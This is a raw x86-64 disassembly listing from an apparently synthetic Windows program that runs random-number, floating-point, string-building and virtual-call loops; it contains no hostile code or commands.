addsd xmm0, xmm12
call fcn.14002ee60
movaps xmm7, xmm0
movaps xmm0, xmm10
call fcn.14002e4e0
movaps xmm6, xmm0
movaps xmm0, xmm11
call fcn.140030a30
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm10
call fcn.14002ea60
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm12
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x14001a720
divsd xmm0, xmm2
mulsd xmm0, xmm13
addsd xmm0, xmm14
movsd xmm6, qword [0x14003deb0]
movaps xmm1, xmm6
call fcn.14002f390
movsd xmm1, qword [rsp + 0x28]
subsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm12
mov ebx, 2
nop dword [rax]
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x14001a790
divsd xmm0, xmm2
mulsd xmm0, xmm13
addsd xmm0, xmm14
call fcn.140030fa0
movsd xmm1, qword [rsp + 0x28]
mulsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x358], xmm0
xor r13d, r13d
mov ecx, 0x40
call fcn.14001e6e8
mov rcx, rax
mov qword [rbp + 0x358], rax
mov qword [rbp + 0x368], 0x3f
mov qword [rbp + 0x370], 0x3f
movups xmm0, xmmword [str.reached_the_winning_Apaches_by_Police_variant_Albums_the_acetic]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14003db70]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x14003db80]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x14003db90]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x14003db98]
mov dword [rcx + 0x38], eax
movzx eax, word [0x14003db9c]
mov word [rcx + 0x3c], ax
movzx eax, byte [0x14003db9e]
mov byte [rcx + 0x3e], al
mov byte [rcx + 0x3f], r13b
lea rbx, [rbp + 0x358]
cmp qword [rbp + 0x370], 0xf
cmova rbx, qword [rbp + 0x358]
lea rcx, [rbp + 0x358]
cmova rcx, qword [rbp + 0x358]
mov rsi, qword [rbp + 0x368]
add rsi, rcx
cmp rbx, rsi
je 0x14001a8e7
nop dword [rax]
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14001a8d7
nop word [rax + rax]
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14001a8c0
shr rax, 0x20
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rsi
jne 0x14001a8a0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x288], xmm1
mov qword [rbp + 0x298], r13
mov ecx, 0x190
call fcn.14001e6e8
mov qword [rbp + 0x288], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x298], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call fcn.140032030
mov qword [rbp + 0x290], r14
lea rax, [rbp + 0x238]
mov qword [rbp + 0x180], rax
lea rax, [rbp + 0x1970]
mov qword [rbp + 0x188], rax
movaps xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp - 0x70], xmm0
mov rsi, qword [rbp + 0x288]
cmp rsi, r14
je 0x14001a994
mov rbx, qword [rbp - 0x68]
mov r15, qword [rbp - 0x70]
nop dword [rax + rax]
mov rdx, rbx
mov rcx, r15
call fcn.14001ccd0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14001a970
mov r14, qword [rbp + 0x290]
mov rsi, qword [rbp + 0x288]
mov dword [rbp + 0x380], 0xffffff9c
mov dword [rbp + 0x384], 0x64
lea rax, [rbp + 0x380]
mov qword [rbp + 0x1b0], rax
lea rax, [rbp + 0x1970]
mov qword [rbp + 0x1b8], rax
movaps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp - 0x70], xmm0
cmp rsi, r14
je 0x14001aa08
mov r15, qword [rbp - 0x68]
mov r12, qword [rbp - 0x70]
nop dword [rax]
mov ebx, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.14001ccd0
add eax, ebx
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14001a9e0
mov r14, qword [rbp + 0x290]
mov rsi, qword [rbp + 0x288]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.14001d8c0
mov r8d, r13d
mov rax, qword [rbp + 0x288]
mov rdx, r13
mov r9, qword [rbp + 0x290]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x14001aaa5
cmp rcx, 8
jb 0x14001aaa5
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14001aa60
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14001aabc
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14001aab0
mov eax, dword [rsp + 0x20]
add eax, r8d
mov dword [rsp + 0x20], eax
mov esi, dword [rbp + 0x238]
btc esi, 0x1f
mov r12d, dword [rbp + 0x23c]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x1970]
cmp r12d, 0xffffffff
jne 0x14001ab0e
call fcn.14001db90
lea ebx, [rax + rsi]
xor ebx, 0x80000000
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
jmp 0x14001abb1
inc r12d
call fcn.14001db90
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x14001ab4a
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov ebx, edx
cmp ecx, edx
jae 0x14001ab4a
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x14001ab34
shr rcx, 0x20
lea r14d, [rcx + rsi]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov ebx, r14d
cmp ecx, r12d
jae 0x14001abad
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14001abad
nop word [rax + rax]
mov esi, r15d
mov ebx, r14d
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x14001ab90
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, ebx
test ebx, ebx
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov dword [rsp + 0x20], ecx
mov eax, dword [rsp + 0x20]
mov r14d, dword [rbp + 0x238]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x23c]
lea rcx, [rbp + 0x1970]
jne 0x14001ac79
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14001ac24
call fcn.14001db90
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
add eax, ecx
jmp 0x14001acd7
lea ebx, [rax + 1]
call fcn.14001db90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x14001ac66
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14001ac66
nop word [rax + rax]
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x14001ac50
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
add eax, ecx
jmp 0x14001acd7
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14001ac8e
call fcn.14001db90
mov ecx, eax
jmp 0x14001acca
lea ebx, [rax + 1]
call fcn.14001db90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x14001acc6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14001acc6
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x14001acb0
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
sub eax, ecx
mov dword [rsp + 0x20], eax
mov r12d, dword [rbp + 0x238]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x23c]
btc r15d, 0x1f
sub r15d, r12d
xor edi, edi
nop
mov r14d, edi
lea rcx, [rbp + 0x1970]
cmp r15d, 0xffffffff
jne 0x14001ad19
call fcn.14001db90
mov ecx, eax
jmp 0x14001ad5a
lea ebx, [r15 + 1]
call fcn.14001db90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x14001ad56
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14001ad56
nop dword [rax]
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x14001ad40
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
movaps xmm1, xmm8
movaps xmm2, xmm12
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x14001ad80
divsd xmm1, xmm2
mulsd xmm1, xmm13
addsd xmm1, xmm14
addsd xmm1, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm1
test r14b, 1
jne 0x14001ae3e
lea rcx, [rbp + 0x1970]
cmp r15d, 0xffffffff
jne 0x14001ade4
call fcn.14001db90
mov ecx, eax
jmp 0x14001ae2a
lea ebx, [r15 + 1]
call fcn.14001db90
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x14001ae26
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14001ae26
nop word [rax + rax]
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x14001ae10
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x20]
imul eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001aea1
movaps xmm1, xmm8
movaps xmm2, xmm12
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x14001ae50
divsd xmm1, xmm2
mulsd xmm1, xmm13
addsd xmm1, xmm14
movsd xmm0, qword [rsp + 0x28]
addsd xmm1, xmm12
divsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
inc r14d
cmp r14d, 5
jl 0x14001ad03
sub r13, 1
jne 0x14001ad00
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rbp + 0x288]
test rcx, rcx
je 0x14001af20
mov rax, qword [rbp + 0x298]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001af04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001bc1d
call fcn.14001e6e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x288], xmm0
xor r14d, r14d
mov qword [rbp + 0x298], r14
jmp 0x14001af23
xor r14d, r14d
mov rdx, qword [rbp + 0x370]
cmp rdx, 0xf
jbe 0x14001af64
inc rdx
mov rcx, qword [rbp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001af5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001bc23
call fcn.14001e6e0
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
cmp eax, 0x186a0
jl 0x14001a4a0
movabs r15, 0xb2f4fc0794908cf3
jmp 0x14001a402
mov eax, dword [rsp + 0x20]
mov rbx, qword [rbp + 0x248]
test rbx, rbx
je 0x14001b024
mov rdi, qword [rbp + 0x250]
cmp rbx, rdi
je 0x14001afcf
mov esi, 1
nop dword [rax]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001afbf
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14001afb0
mov rbx, qword [rbp + 0x248]
mov rax, qword [rbp + 0x258]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14001b00a
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001bc05
mov rcx, rbx
call fcn.14001e6e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r14
mov qword [r14], r14
call fcn.14001e01c
mov edx, eax
lea rcx, [rbp + 0x2d00]
call fcn.14001c9b0
mov dword [rbp + 0x260], 0xffffff9c
mov dword [rbp + 0x264], 0x64
movdqa xmm0, xmmword [0x14003df30]
movups xmmword [rbp + 0x2d0], xmm0
mov dword [rsp + 0x20], r14d
movsd qword [rsp + 0x28], xmm8
lea rcx, [rbp + 0x110]
call fcn.140001650
mov qword [rbp + 0x108], 0x64
lea r8, [rbp + 0x108]
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x50]
call fcn.14001cd80
lea rcx, [rbp + 0x2b8]
call fcn.140001a30
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2b8], xmm1
mov qword [rbp + 0x2c8], r14
lea rcx, [rbp + 0x118]
call fcn.14001cda0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x20], rcx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x2b8]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x20]
call fcn.14001c860
nop
lea rcx, [rbp + 0x118]
call fcn.14001c860
lea rcx, [rbp + 0x120]
call fcn.14001cdf0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x28], rcx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x2b8]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x28]
call fcn.14001c860
nop
lea rcx, [rbp + 0x120]
call fcn.14001c860
lea rcx, [rbp + 0x128]
call fcn.14001ce20
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x30], rcx
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x2b8]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x30]
call fcn.14001c860
nop
lea rcx, [rbp + 0x128]
call fcn.14001c860
lea rcx, [rbp + 0x130]
call fcn.14001ce50
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x38], rcx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x2b8]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x38]
call fcn.14001c860
nop
lea rcx, [rbp + 0x130]
call fcn.14001c860
lea rcx, [rbp + 0x138]
call fcn.14001ce80
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x40], rcx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x2b8]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x40]
call fcn.14001c860
nop
lea rcx, [rbp + 0x138]
call fcn.14001c860
lea rcx, [rbp + 0x140]
call fcn.14001ceb0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x48], rcx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x2b8]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x48]
call fcn.14001c860
nop
lea rcx, [rbp + 0x140]
call fcn.14001c860
lea rcx, [rbp + 0x148]
call fcn.140001650
mov rcx, rax
lea rdx, [rbp + 0x50]
call fcn.1400019d0
test al, al
jns 0x14001b57e
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x260]
call fcn.14001ccd0
mov rbx, qword [rbp + 0x2c0]
sub rbx, qword [rbp + 0x2b8]
sar rbx, 3
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x260]
call fcn.14001ccd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x2b8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x260]
call fcn.14001ccd0
mov r8d, eax
mov edx, dword [rsp + 0x20]
mov rcx, rdi
call rbx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x2d0]
call fcn.14001cee0
movaps xmm5, xmm0
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x2d0]
call fcn.14001cee0
movaps xmm1, xmm5
call fcn.140001880
movsd xmm1, qword [rsp + 0x28]
addsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x2d0]
call fcn.14001cee0
movaps xmm1, xmm6
call fcn.14002f390
movsd xmm1, qword [rsp + 0x28]
subsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x2d0]
call fcn.14001cee0
call fcn.140030fa0
mulsd xmm0, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm0
lea rdx, str.reached_the_winning_Apaches_by_Police_variant_Albums_the_acetic
lea rcx, [rbp + 0x460]
call fcn.14001cb60
nop
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x460]
call fcn.1400017f0
lea rcx, [rbp + 0x3b8]
call fcn.140001a30
lea rcx, [rbp + 0x3b8]
call fcn.14001ca80
nop
lea rax, [rbp + 0x260]
mov qword [rbp + 0x1c0], rax
lea rax, [rbp + 0x2d00]
mov qword [rbp + 0x1c8], rax
movaps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea r8, [rbp + 0x1e0]
mov rdx, qword [rbp + 0x3c0]
mov rcx, qword [rbp + 0x3b8]
call fcn.14001cf70
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x3b8]
call fcn.140001900
mov rdx, qword [rbp + 0x3c0]
mov rcx, qword [rbp + 0x3b8]
call fcn.14001cfd0
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov dword [rsp + 0x20], ecx
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x260]
call fcn.14001ccd0
mov ebx, eax
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x260]
call fcn.14001ccd0
mov r8d, ebx
mov edx, eax
call fcn.140001a00
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x260]
test al, 1
jne 0x14001b47f
call fcn.14001ccd0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001b48e
call fcn.14001ccd0
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov dword [rsp + 0x20], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x260]
call fcn.14001ccd0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x2d0]
call fcn.14001cee0
movsd xmm5, qword [rsp + 0x28]
addsd xmm0, xmm5
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x2d00]
test bl, 1
jne 0x14001b505
lea rcx, [rbp + 0x260]
call fcn.14001ccd0
mov ecx, dword [rsp + 0x20]
imul eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001b526
movsd xmm5, qword [rsp + 0x28]
lea rcx, [rbp + 0x2d0]
call fcn.14001cee0
addsd xmm0, xmm12
divsd xmm5, xmm0
movsd qword [rsp + 0x28], xmm5
inc ebx
cmp ebx, 5
jl 0x14001b4a0
sub rdi, 1
jne 0x14001b493
lea rcx, [rbp + 0x3b8]
call fcn.14001ca20
nop
lea rcx, [rbp + 0x460]
call fcn.14001cb00
sub rsi, 1
jne 0x14001b260
lea rcx, [rbp + 0x148]
call fcn.140001650
mov rcx, rax
lea rdx, [rbp + 0x50]
call fcn.1400019d0
test al, al
js 0x14001b250
mov eax, dword [rsp + 0x20]
lea rcx, [rbp + 0x2b8]
call fcn.14001c8e0
nop
mov rcx, qword [rbp + 0x390]
xor rcx, qword [rbp + 0x388]
mov rax, qword [rbp + 0x398]
mov qword [rax], rcx
jmp 0x14001bb83
call fcn.140001a40
test al, al
jne 0x14001b5e7
mov rdx, qword [rbp - 0x70]
mov rdx, qword [rdx]
lea rcx, [rbp + 0x200]
call fcn.14001cb60
nop
lea rcx, [rbp + 0x200]
call fcn.140012800
nop
lea rcx, [rbp + 0x200]
call fcn.14001cb00
jmp 0x14001bb83
call fcn.14001e01c
mov edx, eax
lea rcx, [rbp + 0x4090]
call fcn.14001c9b0
mov dword [rbp + 0x268], 0xffffff9c
mov dword [rbp + 0x26c], 0x64
movdqa xmm0, xmmword [0x14003df30]
movups xmmword [rbp + 0x2e0], xmm0
mov dword [rsp + 0x20], r14d
movsd qword [rsp + 0x28], xmm8
lea rcx, [rbp + 0x158]
call fcn.140001650
mov qword [rbp + 0x150], 0x64
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 8]
call fcn.14001cd80
lea rcx, [rbp + 0x2a0]
call fcn.140001a30
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2a0], xmm1
mov qword [rbp + 0x2b0], r14
lea rcx, [rbp + 0x160]
call fcn.14001cda0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x58], rcx
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x2a0]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x58]
call fcn.14001c860
nop
lea rcx, [rbp + 0x160]
call fcn.14001c860
lea rcx, [rbp + 0x168]
call fcn.14001cdf0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x60], rcx
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x2a0]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x60]
call fcn.14001c860
nop
lea rcx, [rbp + 0x168]
call fcn.14001c860
lea rcx, [rbp + 0x170]
call fcn.14001ce20
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp - 0x10], rcx
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x2a0]
call fcn.14001c8b0
nop
lea rcx, [rbp - 0x10]
call fcn.14001c860
nop
lea rcx, [rbp + 0x170]
call fcn.14001c860
lea rcx, [rbp + 0x178]
call fcn.14001ce50
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp - 8], rcx
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x2a0]
call fcn.14001c8b0
nop
lea rcx, [rbp - 8]
call fcn.14001c860
nop
lea rcx, [rbp + 0x178]
call fcn.14001c860
lea rcx, [rbp + 0x68]
call fcn.14001ce80
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x18], rcx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x2a0]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x18]
call fcn.14001c860
nop
lea rcx, [rbp + 0x68]
call fcn.14001c860
lea rcx, [rbp + 0x70]
call fcn.14001ceb0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x10], rcx
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x2a0]
call fcn.14001c8b0
nop
lea rcx, [rbp + 0x10]
call fcn.14001c860
nop
lea rcx, [rbp + 0x70]
call fcn.14001c860
lea rcx, [rbp + 0x78]
call fcn.140001650
mov rcx, rax
lea rdx, [rbp + 8]
call fcn.1400019d0
test al, al
jns 0x14001bb2b
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x268]
call fcn.14001ccd0
mov rbx, qword [rbp + 0x2a8]
sub rbx, qword [rbp + 0x2a0]
sar rbx, 3
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x268]
call fcn.14001ccd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x2a0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x268]
call fcn.14001ccd0
mov r8d, eax
mov edx, dword [rsp + 0x20]
mov rcx, rdi
call rbx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x2e0]
call fcn.14001cee0
movaps xmm5, xmm0
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x2e0]
call fcn.14001cee0
movaps xmm1, xmm5
call fcn.140001880
movsd xmm1, qword [rsp + 0x28]
addsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x2e0]
call fcn.14001cee0
movaps xmm1, xmm6
call fcn.14002f390
movsd xmm1, qword [rsp + 0x28]
subsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x2e0]
call fcn.14001cee0
call fcn.140030fa0
mulsd xmm0, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm0
lea rdx, str.reached_the_winning_Apaches_by_Police_variant_Albums_the_acetic
lea rcx, [rbp + 0x480]
call fcn.14001cb60
nop
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x480]
call fcn.1400017f0
lea rcx, [rbp + 0x3d0]
call fcn.140001a30
lea rcx, [rbp + 0x3d0]
call fcn.14001ca80
nop
lea rax, [rbp + 0x268]
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x4090]
mov qword [rbp + 0x1d8], rax
movaps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x1f0], xmm0
lea r8, [rbp + 0x1f0]
mov rdx, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x3d0]
call fcn.14001cf70
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x3d0]
call fcn.140001900
mov rdx, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x3d0]
call fcn.14001cfd0
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov dword [rsp + 0x20], ecx
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x268]
call fcn.14001ccd0
mov ebx, eax
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x268]
call fcn.14001ccd0
mov r8d, ebx
mov edx, eax
call fcn.140001a00
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x268]
test al, 1
jne 0x14001ba2f
call fcn.14001ccd0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001ba3e
call fcn.14001ccd0
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov dword [rsp + 0x20], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x268]
call fcn.14001ccd0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x4090]
lea rcx, [rbp + 0x2e0]
call fcn.14001cee0
movsd xmm5, qword [rsp + 0x28]
addsd xmm0, xmm5
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x4090]
test bl, 1
jne 0x14001bab5
lea rcx, [rbp + 0x268]
call fcn.14001ccd0
mov ecx, dword [rsp + 0x20]
imul eax, ecx
mov dword [rsp + 0x20], eax
